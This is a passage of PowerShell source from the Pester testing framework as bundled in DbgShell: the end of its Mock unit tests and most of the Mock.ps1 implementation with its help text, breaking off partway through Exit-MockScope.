'I am the mocked function' } } -ModuleName TestModule2 It 'Properly evaluates dynamic parameters when called from another scope' { CallingFunction | Should Be 'I am the mocked function' } It 'Properly evaluates dynamic parameters when called from another scope when the call is from a ValidateScript block' { CallingFunction2 -Whatever 'Whatever' } AfterAll { Remove-Module TestModule1 -Force Remove-Module TestModule2 -Force } } Describe 'Parameter Filters and Common Parameters' { function Test-Function { [CmdletBinding()] param ( ) } Mock Test-Function { } -ParameterFilter { $VerbosePreference -eq 'Continue' } It 'Applies common parameters correctly when testing the parameter filter' { { Test-Function -Verbose } | Should Not Throw Assert-MockCalled Test-Function Assert-MockCalled Test-Function -ParameterFilter { $VerbosePreference -eq 'Continue' } } } Describe "Mocking Get-ItemProperty" { Mock Get-ItemProperty { New-Object -typename psobject -property @{ Name = "fakeName" } } It "Does not fail with NotImplementedException" { Get-ItemProperty -Path "HKLM:\Software\Key\" -Name "Property" | Select -ExpandProperty Name | Should Be fakeName } } Describe 'When mocking a command with parameters that match internal variable names' { function Test-Function { [CmdletBinding()] param ( [string] $ArgumentList, [int] $FunctionName, [double] $ModuleName ) } Mock Test-Function { return 'Mocked!' } It 'Should execute the mocked command successfully' { { Test-Function } | Should Not Throw Test-Function | Should Be 'Mocked!' } } Describe 'Mocking commands with potentially ambiguous parameter sets' { function SomeFunction { [CmdletBinding()] param ( [parameter(ParameterSetName = 'ps1', ValueFromPipelineByPropertyName = $true)] [string] $p1, [parameter(ParameterSetName = 'ps2', ValueFromPipelineByPropertyName = $true)] [string] $p2 ) process { return $true } } Mock SomeFunction { } It 'Should call the function successfully, even with delayed parameter binding' { $object = New-Object psobject -Property @{ p1 = 'Whatever' } { $object | SomeFunction } | Should Not Throw Assert-MockCalled SomeFunction -ParameterFilter { $p1 -eq 'Whatever' } } } Describe 'When mocking a command that has an ArgumentList parameter with validation' { Mock Start-Process { return 'mocked' } It 'Calls the mock properly' { $hash = @{ Result = $null } $scriptBlock = { $hash.Result = Start-Process -FilePath cmd.exe -ArgumentList '/c dir c:\' } $scriptBlock | Should Not Throw $hash.Result | Should Be 'mocked' } } # These assertions won't actually "fail"; we had an infinite recursion bug in Get-DynamicParametersForCmdlet # if the caller mocked New-Object. It should be fixed by making that call to New-Object module-qualified, # and this test will make sure it's working properly. If this test fails, it'll take a really long time # to execute, and then will throw a stack overflow error. Describe 'Mocking New-Object' { It 'Works properly' { Mock New-Object $result = New-Object -TypeName Object $result | Should Be $null Assert-MockCalled New-Object } } Describe 'Mocking a function taking input from pipeline' { $psobj = New-Object -TypeName psobject -Property @{'PipeIntProp'='1';'PipeArrayProp'=1;'PipeStringProp'=1} $psArrayobj = New-Object -TypeName psobject -Property @{'PipeArrayProp'=@(1)} $noMockArrayResult = @(1,2) | PipelineInputFunction $noMockIntResult = 1 | PipelineInputFunction $noMockStringResult = '1' | PipelineInputFunction $noMockResultByProperty = $psobj | PipelineInputFunction -PipeStr 'val' $noMockArrayResultByProperty = $psArrayobj | PipelineInputFunction -PipeStr 'val' Mock PipelineInputFunction { write-output 'mocked' } -ParameterFilter { $PipeStr -eq 'blah' } context 'when calling original function with an array' { $result = @(1,2) | PipelineInputFunction it 'Returns actual implementation' { $result[0].keys | % { $result[0][$_] | Should Be $noMockArrayResult[0][$_] $result[1][$_] | Should Be $noMockArrayResult[1][$_] } } } context 'when calling original function with an int' { $result = 1 | PipelineInputFunction it 'Returns actual implementation' { $result.keys | % { $result[$_] | Should Be $noMockIntResult[$_] } } } context 'when calling original function with a string' { $result = '1' | PipelineInputFunction it 'Returns actual implementation' { $result.keys | % { $result[$_] | Should Be $noMockStringResult[$_] } } } context 'when calling original function and pipeline is bound by property name' { $result = $psobj | PipelineInputFunction -PipeStr 'val' it 'Returns actual implementation' { $result.keys | % { $result[$_] | Should Be $noMockResultByProperty[$_] } } } context 'when calling original function and forcing a parameter binding exception' { Mock PipelineInputFunction { if($MyInvocation.ExpectingInput) { throw New-Object -TypeName System.Management.Automation.ParameterBindingException } write-output $MyInvocation.ExpectingInput } $result = $psobj | PipelineInputFunction it 'falls back to no pipeline input' { $result | Should Be $false } } context 'when calling original function and pipeline is bound by property name with array values' { $result = $psArrayobj | PipelineInputFunction -PipeStr 'val' it 'Returns actual implementation' { $result.keys | % { $result[$_] | Should Be $noMockArrayResultByProperty[$_] } } } context 'when calling the mocked function' { $result = 'blah' | PipelineInputFunction it 'Returns mocked implementation' { $result | Should Be 'mocked' } } } Describe 'Mocking module-qualified calls' { It 'Mock alias should not exist before the mock is defined' { $alias = Get-Alias -Name 'Microsoft.PowerShell.Management\Get-Content' -ErrorAction SilentlyContinue $alias | Should Be $null } $mockFile = 'TestDrive:\TestFile' $mockResult = 'Mocked' Mock Get-Content { return $mockResult } -ParameterFilter { $Path -eq $mockFile } Setup -File TestFile -Content 'The actual file' It 'Creates the alias while the mock is in effect' { $alias = Get-Alias -Name 'Microsoft.PowerShell.Management\Get-Content' -ErrorAction SilentlyContinue $alias | Should Not Be $null } It 'Calls the mock properly even if the call is module-qualified' { $result = Microsoft.PowerShell.Management\Get-Content -Path $mockFile $result | Should Be $mockResult } } Describe 'After a mock goes out of scope' { It 'Removes the alias after the mock goes out of scope' { $alias = Get-Alias -Name 'Microsoft.PowerShell.Management\Get-Content' -ErrorAction SilentlyContinue $alias | Should Be $null } } Describe 'Assert-MockCalled with Aliases' { AfterEach { if (Test-Path alias:PesterTF) { Remove-Item Alias:PesterTF } } It 'Allows calls to Assert-MockCalled to use both aliases and the original command name' { function TestFunction { } Set-Alias -Name PesterTF -Value TestFunction Mock PesterTF $null = PesterTF { Assert-MockCalled PesterTF } | Should Not Throw { Assert-MockCalled TestFunction } | Should Not Throw } } Describe 'Mocking Get-Command' { # This was reported as a bug in 3.3.12; we were relying on Get-Command to safely invoke other commands. # Mocking Get-Command, though, would result in infinite recursion. It 'Does not break when Get-Command is mocked' { { Mock Get-Command } | Should Not Throw } } Describe 'Mocks with closures' { $closureVariable = 'from closure' $scriptBlock = { "Variable resolved $closureVariable" } $closure = $scriptBlock.GetNewClosure() $closureVariable = 'from script' function TestClosure([switch] $Closure) { 'Not mocked' } Mock TestClosure $closure -ParameterFilter { $Closure } Mock TestClosure $scriptBlock It 'Resolves variables in the closure rather than Pester''s current scope' { TestClosure | Should Be 'Variable resolved from script' TestClosure -Closure | Should Be 'Variable resolved from closure' } } Describe '$args handling' { function AdvancedFunction { [CmdletBinding()] param() 'orig' } function SimpleFunction { . AdvancedFunction } function AdvancedFunctionWithArgs { [CmdletBinding()] param($Args) 'orig' } Add-Type -TypeDefinition ' using System.Management.Automation; [Cmdlet(VerbsLifecycle.Invoke, "CmdletWithArgs")] public class InvokeCmdletWithArgs : Cmdlet { public InvokeCmdletWithArgs() { } [Parameter] public object Args { set { } } protected override void EndProcessing() { WriteObject("orig"); } } ' -PassThru | Select-Object -ExpandProperty Assembly | Import-Module Mock AdvancedFunction { 'mock' } Mock AdvancedFunctionWithArgs { 'mock' } Mock Invoke-CmdletWithArgs { 'mock' } It 'Advanced function mock should be callable with dot operator' { SimpleFunction garbage | Should Be mock } It 'Advanced function with Args parameter should be mockable' { AdvancedFunctionWithArgs -Args garbage | Should Be mock } It 'Cmdlet with Args parameter should be mockable' { Invoke-CmdletWithArgs -Args garbage | Should Be mock } } Describe 'Single quote in command/module name' { BeforeAll { $module = New-Module "Module '‘’‚‛" { Function NormalCommandName { 'orig' } New-Item "Function::Command '‘’‚‛" -Value { 'orig' } } | Import-Module -PassThru } AfterAll { if ($module) { Remove-Module $module; $module = $null } } It 'Command with single quote in module name should be mockable' { Mock NormalCommandName { 'mock' } NormalCommandName | Should Be mock } It 'Command with single quote in name should be mockable' { Mock "Command '‘’‚‛" { 'mock' } & "Command '‘’‚‛" | Should Be mock } } if ($global:PSVersionTable.PSVersion.Major -ge 3) { Describe 'Mocking cmdlet without positional parameters' { Add-Type -TypeDefinition ' using System.Management.Automation; [Cmdlet(VerbsLifecycle.Invoke, "CmdletWithoutPositionalParameters")] public class InvokeCmdletWithoutPositionalParameters : Cmdlet { public InvokeCmdletWithoutPositionalParameters() { } [Parameter] public object Parameter { set { } } } [Cmdlet(VerbsLifecycle.Invoke, "CmdletWithValueFromRemainingArguments")] public class InvokeCmdletWithValueFromRemainingArguments : Cmdlet { private string parameter; private string[] remainings; public InvokeCmdletWithValueFromRemainingArguments() { } [Parameter] public string Parameter { set { parameter=value; } } [Parameter(ValueFromRemainingArguments=true)] public string[] Remainings { set { remainings=value; } } protected override void EndProcessing() { WriteObject(string.Concat(parameter, "; ", string.Join(", ", remainings))); } } ' -PassThru | Select-Object -First 1 -ExpandProperty Assembly | Import-Module It 'Original cmdlet does not have positional parameters' { { Invoke-CmdletWithoutPositionalParameters garbage } | Should Throw } Mock Invoke-CmdletWithoutPositionalParameters It 'Mock of cmdlet should not make parameters to be positional' { { Invoke-CmdletWithoutPositionalParameters garbage } | Should Throw } It 'Original cmdlet bind all to Remainings' { Invoke-CmdletWithValueFromRemainingArguments asd fgh jkl | Should Be '; asd, fgh, jkl' } Mock Invoke-CmdletWithValueFromRemainingArguments { -join ($Parameter, '; ', ($Remainings -join ', ')) } It 'Mock of cmdlet should bind all to Remainings' { Invoke-CmdletWithValueFromRemainingArguments asd fgh jkl | Should Be '; asd, fgh, jkl' } } } Describe 'Nested Mock calls' { $testDate = New-Object DateTime(2012,6,13) Mock Get-Date -ParameterFilter { $null -eq $Date } { Get-Date -Date $testDate -Format o } It 'Properly handles nested mocks' { $result = @(Get-Date) $result.Count | Should Be 1 $result[0] | Should Be '2012-06-13T00:00:00.0000000' } } Describe 'Globbing characters in command name' { function f[f]f { 'orig1' } function f?f { 'orig2' } function f*f { 'orig3' } function fff { 'orig4' } It 'Command with globbing characters in name should be mockable' { Mock f[f]f { 'mock1' } Mock f?f { 'mock2' } Mock f*f { 'mock3' } f[f]f | Should Be mock1 f?f | Should Be mock2 f*f | Should Be mock3 fff | Should Be orig4 } } Describe 'Naming conflicts in mocked functions' { Context 'parameter named Metadata' { function Sample { param( [string] ${Metadata} ) } function Wrapper { Sample -Metadata 'test' } Mock Sample { 'mocked' } It 'Works with commands with parameter named Metadata' { Wrapper | Should Be 'mocked' } } Context 'parameter named Keys' { function g { [CmdletBinding()] param($Keys,$H) } function Wrapper { g -Keys 'value' } Mock g { $Keys } It 'Works with command with parameter named Keys' { $r = Wrapper $r | Should be 'value' } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Mock.ps1 ================================================ function Mock { <# .SYNOPSIS Mocks the behavior of an existing command with an alternate implementation. .DESCRIPTION This creates new behavior for any existing command within the scope of a Describe or Context block. The function allows you to specify a script block that will become the command's new behavior. Optionally, you may create a Parameter Filter which will examine the parameters passed to the mocked command and will invoke the mocked behavior only if the values of the parameter values pass the filter. If they do not, the original command implementation will be invoked instead of a mock. You may create multiple mocks for the same command, each using a different ParameterFilter. ParameterFilters will be evaluated in reverse order of their creation. The last one created will be the first to be evaluated. The mock of the first filter to pass will be used. The exception to this rule are Mocks with no filters. They will always be evaluated last since they will act as a "catch all" mock. Mocks can be marked Verifiable. If so, the Assert-VerifiableMocks command can be used to check if all Verifiable mocks were actually called. If any verifiable mock is not called, Assert-VerifiableMocks will throw an exception and indicate all mocks not called. If you wish to mock commands that are called from inside a script module, you can do so by using the -ModuleName parameter to the Mock command. This injects the mock into the specified module. If you do not specify a module name, the mock will be created in the same scope as the test script. You may mock the same command multiple times, in different scopes, as needed. Each module's mock maintains a separate call history and verified status. .PARAMETER CommandName The name of the command to be mocked. .PARAMETER MockWith A ScriptBlock specifying the behavior that will be used to mock CommandName. The default is an empty ScriptBlock. NOTE: Do not specify param or dynamicparam blocks in this script block. These will be injected automatically based on the signature of the command being mocked, and the MockWith script block can contain references to the mocked commands parameter variables. .PARAMETER Verifiable When this is set, the mock will be checked when Assert-VerifiableMocks is called. .PARAMETER ParameterFilter An optional filter to limit mocking behavior only to usages of CommandName where the values of the parameters passed to the command pass the filter. This ScriptBlock must return a boolean value. See examples for usage. .PARAMETER ModuleName Optional string specifying the name of the module where this command is to be mocked. This should be a module that _calls_ the mocked command; it doesn't necessarily have to be the same module which originally implemented the command. .EXAMPLE Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } Using this Mock, all calls to Get-ChildItem will return a hashtable with a FullName property returning "A_File.TXT" .EXAMPLE Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } -ParameterFilter { $Path -and $Path.StartsWith($env:temp) } This Mock will only be applied to Get-ChildItem calls within the user's temp directory. .EXAMPLE Mock Set-Content {} -Verifiable -ParameterFilter { $Path -eq "some_path" -and $Value -eq "Expected Value" } When this mock is used, if the Mock is never invoked and Assert-VerifiableMocks is called, an exception will be thrown. The command behavior will do nothing since the ScriptBlock is empty. .EXAMPLE Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } -ParameterFilter { $Path -and $Path.StartsWith($env:temp\1) } Mock Get-ChildItem { return @{FullName = "B_File.TXT"} } -ParameterFilter { $Path -and $Path.StartsWith($env:temp\2) } Mock Get-ChildItem { return @{FullName = "C_File.TXT"} } -ParameterFilter { $Path -and $Path.StartsWith($env:temp\3) } Multiple mocks of the same command may be used. The parameter filter determines which is invoked. Here, if Get-ChildItem is called on the "2" directory of the temp folder, then B_File.txt will be returned. .EXAMPLE Mock Get-ChildItem { return @{FullName="B_File.TXT"} } -ParameterFilter { $Path -eq "$env:temp\me" } Mock Get-ChildItem { return @{FullName="A_File.TXT"} } -ParameterFilter { $Path -and $Path.StartsWith($env:temp) } Get-ChildItem $env:temp\me Here, both mocks could apply since both filters will pass. A_File.TXT will be returned because it was the most recent Mock created. .EXAMPLE Mock Get-ChildItem { return @{FullName = "B_File.TXT"} } -ParameterFilter { $Path -eq "$env:temp\me" } Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } Get-ChildItem c:\windows Here, A_File.TXT will be returned. Since no filter was specified, it will apply to any call to Get-ChildItem that does not pass another filter. .EXAMPLE Mock Get-ChildItem { return @{FullName = "B_File.TXT"} } -ParameterFilter { $Path -eq "$env:temp\me" } Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } Get-ChildItem $env:temp\me Here, B_File.TXT will be returned. Even though the filterless mock was created more recently. This illustrates that filterless Mocks are always evaluated last regardless of their creation order. .EXAMPLE Mock Get-ChildItem { return @{FullName = "A_File.TXT"} } -ModuleName MyTestModule Using this Mock, all calls to Get-ChildItem from within the MyTestModule module will return a hashtable with a FullName property returning "A_File.TXT" .EXAMPLE Get-Module -Name ModuleMockExample | Remove-Module New-Module -Name ModuleMockExample -ScriptBlock { function Hidden { "Internal Module Function" } function Exported { Hidden } Export-ModuleMember -Function Exported } | Import-Module -Force Describe "ModuleMockExample" { It "Hidden function is not directly accessible outside the module" { { Hidden } | Should Throw } It "Original Hidden function is called" { Exported | Should Be "Internal Module Function" } It "Hidden is replaced with our implementation" { Mock Hidden { "Mocked" } -ModuleName ModuleMockExample Exported | Should Be "Mocked" } } This example shows how calls to commands made from inside a module can be mocked by using the -ModuleName parameter. .LINK Assert-MockCalled Assert-VerifiableMocks Describe Context It about_Should about_Mocking #> param( [string]$CommandName, [ScriptBlock]$MockWith={}, [switch]$Verifiable, [ScriptBlock]$ParameterFilter = {$True}, [string]$ModuleName ) Assert-DescribeInProgress -CommandName Mock $contextInfo = Validate-Command $CommandName $ModuleName $CommandName = $contextInfo.Command.Name if ($contextInfo.Session.Module -and $contextInfo.Session.Module.Name) { $ModuleName = $contextInfo.Session.Module.Name } else { $ModuleName = '' } if (Test-IsClosure -ScriptBlock $MockWith) { # If the user went out of their way to call GetNewClosure(), go ahead and leave the block bound to that # dynamic module's scope. $mockWithCopy = $MockWith } else { $mockWithCopy = [scriptblock]::Create($MockWith.ToString()) Set-ScriptBlockScope -ScriptBlock $mockWithCopy -SessionState $contextInfo.Session } $block = @{ Mock = $mockWithCopy Filter = $ParameterFilter Verifiable = $Verifiable Scope = Get-ScopeForMock -PesterState $pester } $mock = $mockTable["$ModuleName||$CommandName"] if (-not $mock) { $metadata = $null $cmdletBinding = '' $paramBlock = '' $dynamicParamBlock = '' $dynamicParamScriptBlock = $null if ($contextInfo.Command.psobject.Properties['ScriptBlock'] -or $contextInfo.Command.CommandType -eq 'Cmdlet') { $metadata = [System.Management.Automation.CommandMetaData]$contextInfo.Command $null = $metadata.Parameters.Remove('Verbose') $null = $metadata.Parameters.Remove('Debug') $null = $metadata.Parameters.Remove('ErrorAction') $null = $metadata.Parameters.Remove('WarningAction') $null = $metadata.Parameters.Remove('ErrorVariable') $null = $metadata.Parameters.Remove('WarningVariable') $null = $metadata.Parameters.Remove('OutVariable') $null = $metadata.Parameters.Remove('OutBuffer') # Some versions of PowerShell may include dynamic parameters here # We will filter them out and add them at the end to be # compatible with both earlier and later versions $dynamicParams = $metadata.Parameters.Values | & $SafeCommands['Where-Object'] {$_.IsDynamic} if($dynamicParams -ne $null) { $dynamicparams | & $SafeCommands['ForEach-Object'] { $null = $metadata.Parameters.Remove($_.name) } } $cmdletBinding = [Management.Automation.ProxyCommand]::GetCmdletBindingAttribute($metadata) if ($global:PSVersionTable.PSVersion.Major -ge 3 -and $contextInfo.Command.CommandType -eq 'Cmdlet') { if ($cmdletBinding -ne '[CmdletBinding()]') { $cmdletBinding = $cmdletBinding.Insert($cmdletBinding.Length-2, ',') } $cmdletBinding = $cmdletBinding.Insert($cmdletBinding.Length-2, 'PositionalBinding=$false') } $paramBlock = [Management.Automation.ProxyCommand]::GetParamBlock($metadata) if ($contextInfo.Command.CommandType -eq 'Cmdlet') { $dynamicParamBlock = "dynamicparam { Get-MockDynamicParameters -CmdletName '$($contextInfo.Command.Name)' -Parameters `$PSBoundParameters }" } else { $dynamicParamStatements = Get-DynamicParamBlock -ScriptBlock $contextInfo.Command.ScriptBlock if ($dynamicParamStatements -match '\S') { $metadataSafeForDynamicParams = [System.Management.Automation.CommandMetaData]$contextInfo.Command foreach ($param in $metadataSafeForDynamicParams.Parameters.Values) { $param.ParameterSets.Clear() } $paramBlockSafeForDynamicParams = [System.Management.Automation.ProxyCommand]::GetParamBlock($metadataSafeForDynamicParams) $comma = if ($metadataSafeForDynamicParams.Parameters.Count -gt 0) { ',' } else { '' } $dynamicParamBlock = "dynamicparam { Get-MockDynamicParameters -ModuleName '$ModuleName' -FunctionName '$CommandName' -Parameters `$PSBoundParameters -Cmdlet `$PSCmdlet }" $code = @" $cmdletBinding param( [object] `${P S Cmdlet}$comma $paramBlockSafeForDynamicParams ) `$PSCmdlet = `${P S Cmdlet} $dynamicParamStatements "@ $dynamicParamScriptBlock = [scriptblock]::Create($code) $sessionStateInternal = Get-ScriptBlockScope -ScriptBlock $contextInfo.Command.ScriptBlock if ($null -ne $sessionStateInternal) { Set-ScriptBlockScope -ScriptBlock $dynamicParamScriptBlock -SessionStateInternal $sessionStateInternal } } } } $EscapeSingleQuotedStringContent = if ($global:PSVersionTable.PSVersion.Major -ge 5) { { [System.Management.Automation.Language.CodeGeneration]::EscapeSingleQuotedStringContent($args[0]) } } else { { $args[0] -replace "['‘’‚‛]", '$&$&' } } $newContent = & $SafeCommands['Get-Content'] function:\MockPrototype $newContent = $newContent -replace '#FUNCTIONNAME#', (& $EscapeSingleQuotedStringContent $CommandName) $newContent = $newContent -replace '#MODULENAME#', (& $EscapeSingleQuotedStringContent $ModuleName) $canCaptureArgs = 'true' if ($contextInfo.Command.CommandType -eq 'Cmdlet' -or ($contextInfo.Command.CommandType -eq 'Function' -and $contextInfo.Command.CmdletBinding)) { $canCaptureArgs = 'false' } $newContent = $newContent -replace '#CANCAPTUREARGS#', $canCaptureArgs $code = @" $cmdletBinding param ( $paramBlock ) $dynamicParamBlock begin { `${mock call state} = @{} $($newContent -replace '#BLOCK#', 'Begin' -replace '#INPUT#') } process { $($newContent -replace '#BLOCK#', 'Process' -replace '#INPUT#', '-InputObject @($input)') } end { $($newContent -replace '#BLOCK#', 'End' -replace '#INPUT#') } "@ $mockScript = [scriptblock]::Create($code) $mock = @{ OriginalCommand = $contextInfo.Command Blocks = @() CommandName = $CommandName SessionState = $contextInfo.Session Scope = $pester.Scope Metadata = $metadata CallHistory = @() DynamicParamScriptBlock = $dynamicParamScriptBlock FunctionScope = '' Alias = $null } $mockTable["$ModuleName||$CommandName"] = $mock if ($contextInfo.Command.CommandType -eq 'Function') { $mock['FunctionScope'] = $contextInfo.Scope $scriptBlock = { param ( [string] $CommandName ) if ($ExecutionContext.InvokeProvider.Item.Exists("Function:\$CommandName", $true, $true)) { $ExecutionContext.InvokeProvider.Item.Rename([System.Management.Automation.WildcardPattern]::Escape("Function:\$CommandName"), "script:PesterIsMocking_$CommandName", $true) } } $null = Invoke-InMockScope -SessionState $mock.SessionState -ScriptBlock $scriptBlock -ArgumentList $CommandName } $scriptBlock = { $ExecutionContext.InvokeProvider.Item.Set("Function:\script:$($args[0])", $args[1], $true, $true) } $null = Invoke-InMockScope -SessionState $mock.SessionState -ScriptBlock $scriptBlock -ArgumentList $CommandName, $mockScript if ($mock.OriginalCommand.ModuleName) { $mock.Alias = "$($mock.OriginalCommand.ModuleName)\$($CommandName)" $scriptBlock = { $setAlias = & (Pester\SafeGetCommand) -Name Set-Alias -CommandType Cmdlet -Module Microsoft.PowerShell.Utility & $setAlias -Name $args[0] -Value $args[1] -Scope Script } $null = Invoke-InMockScope -SessionState $mock.SessionState -ScriptBlock $scriptBlock -ArgumentList $mock.Alias, $CommandName } } $mock.Blocks = @( $mock.Blocks | & $SafeCommands['Where-Object'] { $_.Filter.ToString() -eq '$True' } if ($block.Filter.ToString() -eq '$True') { $block } $mock.Blocks | & $SafeCommands['Where-Object'] { $_.Filter.ToString() -ne '$True' } if ($block.Filter.ToString() -ne '$True') { $block } ) } function Assert-VerifiableMocks { <# .SYNOPSIS Checks if any Verifiable Mock has not been invoked. If so, this will throw an exception. .DESCRIPTION This can be used in tandem with the -Verifiable switch of the Mock function. Mock can be used to mock the behavior of an existing command and optionally take a -Verifiable switch. When Assert-VerifiableMocks is called, it checks to see if any Mock marked Verifiable has not been invoked. If any mocks have been found that specified -Verifiable and have not been invoked, an exception will be thrown. .EXAMPLE Mock Set-Content {} -Verifiable -ParameterFilter {$Path -eq "some_path" -and $Value -eq "Expected Value"} { ...some code that never calls Set-Content some_path -Value "Expected Value"... } Assert-VerifiableMocks This will throw an exception and cause the test to fail. .EXAMPLE Mock Set-Content {} -Verifiable -ParameterFilter {$Path -eq "some_path" -and $Value -eq "Expected Value"} Set-Content some_path -Value "Expected Value" Assert-VerifiableMocks This will not throw an exception because the mock was invoked. #> Assert-DescribeInProgress -CommandName Assert-VerifiableMocks $unVerified=@{} $mockTable.Keys | & $SafeCommands['ForEach-Object'] { $m=$_; $mockTable[$m].blocks | & $SafeCommands['Where-Object'] { $_.Verifiable } | & $SafeCommands['ForEach-Object'] { $unVerified[$m]=$_ } } if($unVerified.Count -gt 0) { foreach($mock in $unVerified.Keys){ $array = $mock -split '\|\|' $function = $array[1] $module = $array[0] $message = "`r`n Expected $function " if ($module) { $message += "in module $module " } $message += "to be called with $($unVerified[$mock].Filter)" } throw $message } } function Assert-MockCalled { <# .SYNOPSIS Checks if a Mocked command has been called a certain number of times and throws an exception if it has not. .DESCRIPTION This command verifies that a mocked command has been called a certain number of times. If the call history of the mocked command does not match the parameters passed to Assert-MockCalled, Assert-MockCalled will throw an exception. .PARAMETER CommandName The mocked command whose call history should be checked. .PARAMETER ModuleName The module where the mock being checked was injected. This is optional, and must match the ModuleName that was used when setting up the Mock. .PARAMETER Times The number of times that the mock must be called to avoid an exception from throwing. .PARAMETER Exactly If this switch is present, the number specified in Times must match exactly the number of times the mock has been called. Otherwise it must match "at least" the number of times specified. If the value passed to the Times parameter is zero, the Exactly switch is implied. .PARAMETER ParameterFilter An optional filter to qualify wich calls should be counted. Only those calls to the mock whose parameters cause this filter to return true will be counted. .PARAMETER ExclusiveFilter Like ParameterFilter, except when you use ExclusiveFilter, and there were any calls to the mocked command which do not match the filter, an exception will be thrown. This is a convenient way to avoid needing to have two calls to Assert-MockCalled like this: Assert-MockCalled SomeCommand -Times 1 -ParameterFilter { $something -eq $true } Assert-MockCalled SomeCommand -Times 0 -ParameterFilter { $something -ne $true } .PARAMETER Scope An optional parameter specifying the Pester scope in which to check for calls to the mocked command. By default, Assert-MockCalled will find all calls to the mocked command in the current Context block (if present), or the current Describe block (if there is no active Context.) Valid values are Describe, Context and It. If you use a scope of Describe or Context, the command will identify all calls to the mocked command in the current Describe / Context block, as well as all child scopes of that block. .EXAMPLE C:\PS>Mock Set-Content {} {... Some Code ...} C:\PS>Assert-MockCalled Set-Content This will throw an exception and cause the test to fail if Set-Content is not called in Some Code. .EXAMPLE C:\PS>Mock Set-Content -parameterFilter {$path.StartsWith("$env:temp\")} {... Some Code ...} C:\PS>Assert-MockCalled Set-Content 2 { $path -eq "$env:temp\test.txt" } This will throw an exception if some code calls Set-Content on $path=$env:temp\test.txt less than 2 times .EXAMPLE C:\PS>Mock Set-Content {} {... Some Code ...} C:\PS>Assert-MockCalled Set-Content 0 This will throw an exception if some code calls Set-Content at all .EXAMPLE C:\PS>Mock Set-Content {} {... Some Code ...} C:\PS>Assert-MockCalled Set-Content -Exactly 2 This will throw an exception if some code does not call Set-Content Exactly two times. .EXAMPLE Describe 'Assert-MockCalled Scope behavior' { Mock Set-Content { } It 'Calls Set-Content at least once in the It block' { {... Some Code ...} Assert-MockCalled Set-Content -Exactly 0 -Scope It } } Checks for calls only within the current It block. .EXAMPLE Describe 'Describe' { Mock -ModuleName SomeModule Set-Content { } {... Some Code ...} It 'Calls Set-Content at least once in the Describe block' { Assert-MockCalled -ModuleName SomeModule Set-Content } } Checks for calls to the mock within the SomeModule module. Note that both the Mock and Assert-MockCalled commands use the same module name. .EXAMPLE Assert-MockCalled Get-ChildItem -ExclusiveFilter { $Path -eq 'C:\' } Checks to make sure that Get-ChildItem was called at least one time with the -Path parameter set to 'C:\', and that it was not called at all with the -Path parameter set to any other value. .NOTES The parameter filter passed to Assert-MockCalled does not necessarily have to match the parameter filter (if any) which was used to create the Mock. Assert-MockCalled will find any entry in the command history which matches its parameter filter, regardless of how the Mock was created. However, if any calls to the mocked command are made which did not match any mock's parameter filter (resulting in the original command being executed instead of a mock), these calls to the original command are not tracked in the call history. In other words, Assert-MockCalled can only be used to check for calls to the mocked implementation, not to the original. #> [CmdletBinding(DefaultParameterSetName = 'ParameterFilter')] param( [Parameter(Mandatory = $true, Position = 0)] [string]$CommandName, [Parameter(Position = 1)] [int]$Times=1, [Parameter(ParameterSetName = 'ParameterFilter', Position = 2)] [ScriptBlock]$ParameterFilter = {$True}, [Parameter(ParameterSetName = 'ExclusiveFilter', Mandatory = $true)] [scriptblock] $ExclusiveFilter, [Parameter(Position = 3)] [string] $ModuleName, [Parameter(Position = 4)] [ValidateSet('Describe','Context','It')] [string] $Scope, [switch]$Exactly ) if ($PSCmdlet.ParameterSetName -eq 'ParameterFilter') { $filter = $ParameterFilter $filterIsExclusive = $false } else { $filter = $ExclusiveFilter $filterIsExclusive = $true } Assert-DescribeInProgress -CommandName Assert-MockCalled if (-not $PSBoundParameters.ContainsKey('ModuleName') -and $null -ne $pester.SessionState.Module) { $ModuleName = $pester.SessionState.Module.Name } $contextInfo = Validate-Command $CommandName $ModuleName $CommandName = $contextInfo.Command.Name $mock = $script:mockTable["$ModuleName||$CommandName"] $moduleMessage = '' if ($ModuleName) { $moduleMessage = " in module $ModuleName" } if (-not $mock) { throw "You did not declare a mock of the $commandName Command${moduleMessage}." } if (-not $Scope) { if ($pester.CurrentContext) { $Scope = 'Context' } else { $Scope = 'Describe' } } $matchingCalls = & $SafeCommands['New-Object'] System.Collections.ArrayList $nonMatchingCalls = & $SafeCommands['New-Object'] System.Collections.ArrayList foreach ($historyEntry in $mock.CallHistory) { if (-not (Test-MockCallScope -CallScope $historyEntry.Scope -DesiredScope $Scope)) { continue } $params = @{ ScriptBlock = $filter BoundParameters = $historyEntry.BoundParams ArgumentList = $historyEntry.Args Metadata = $mock.Metadata } if (Test-ParameterFilter @params) { $null = $matchingCalls.Add($historyEntry) } else { $null = $nonMatchingCalls.Add($historyEntry) } } $lineText = $MyInvocation.Line.TrimEnd("`n") $line = $MyInvocation.ScriptLineNumber if($matchingCalls.Count -ne $times -and ($Exactly -or ($times -eq 0))) { $failureMessage = "Expected ${commandName}${moduleMessage} to be called $times times exactly but was called $($matchingCalls.Count) times" throw ( New-ShouldErrorRecord -Message $failureMessage -Line $line -LineText $lineText) } elseif($matchingCalls.Count -lt $times) { $failureMessage = "Expected ${commandName}${moduleMessage} to be called at least $times times but was called $($matchingCalls.Count) times" throw ( New-ShouldErrorRecord -Message $failureMessage -Line $line -LineText $lineText) } elseif ($filterIsExclusive -and $nonMatchingCalls.Count -gt 0) { $failureMessage = "Expected ${commandName}${moduleMessage} to only be called with with parameters matching the specified filter, but $($nonMatchingCalls.Count) non-matching calls were made" throw ( New-ShouldErrorRecord -Message $failureMessage -Line $line -LineText $lineText) } } function Test-MockCallScope { [CmdletBinding()] param ( [string] $CallScope, [string] $DesiredScope ) # It would probably be cleaner to replace all of these scope strings with an enumerated type at some point. $scopes = 'Describe', 'Context', 'It' return ([array]::IndexOf($scopes, $CallScope) -ge [array]::IndexOf($scopes, $DesiredScope)) } function Exit-MockScope { if ($null -eq $mockTable) { return } $currentScope = $pester.Scope $parentScope = $pester.ParentScope $scriptBlock = { param ( [string] $CommandName, [string] $Scope, [string] $Alias ) $ExecutionContext.InvokeProvider.Item.Remove("Function:\$CommandName", $false, $true, $true) if ($ExecutionContext.InvokeProvider.Item.Exists("Function:\PesterIsMocking_$CommandName", $true, $true)) { 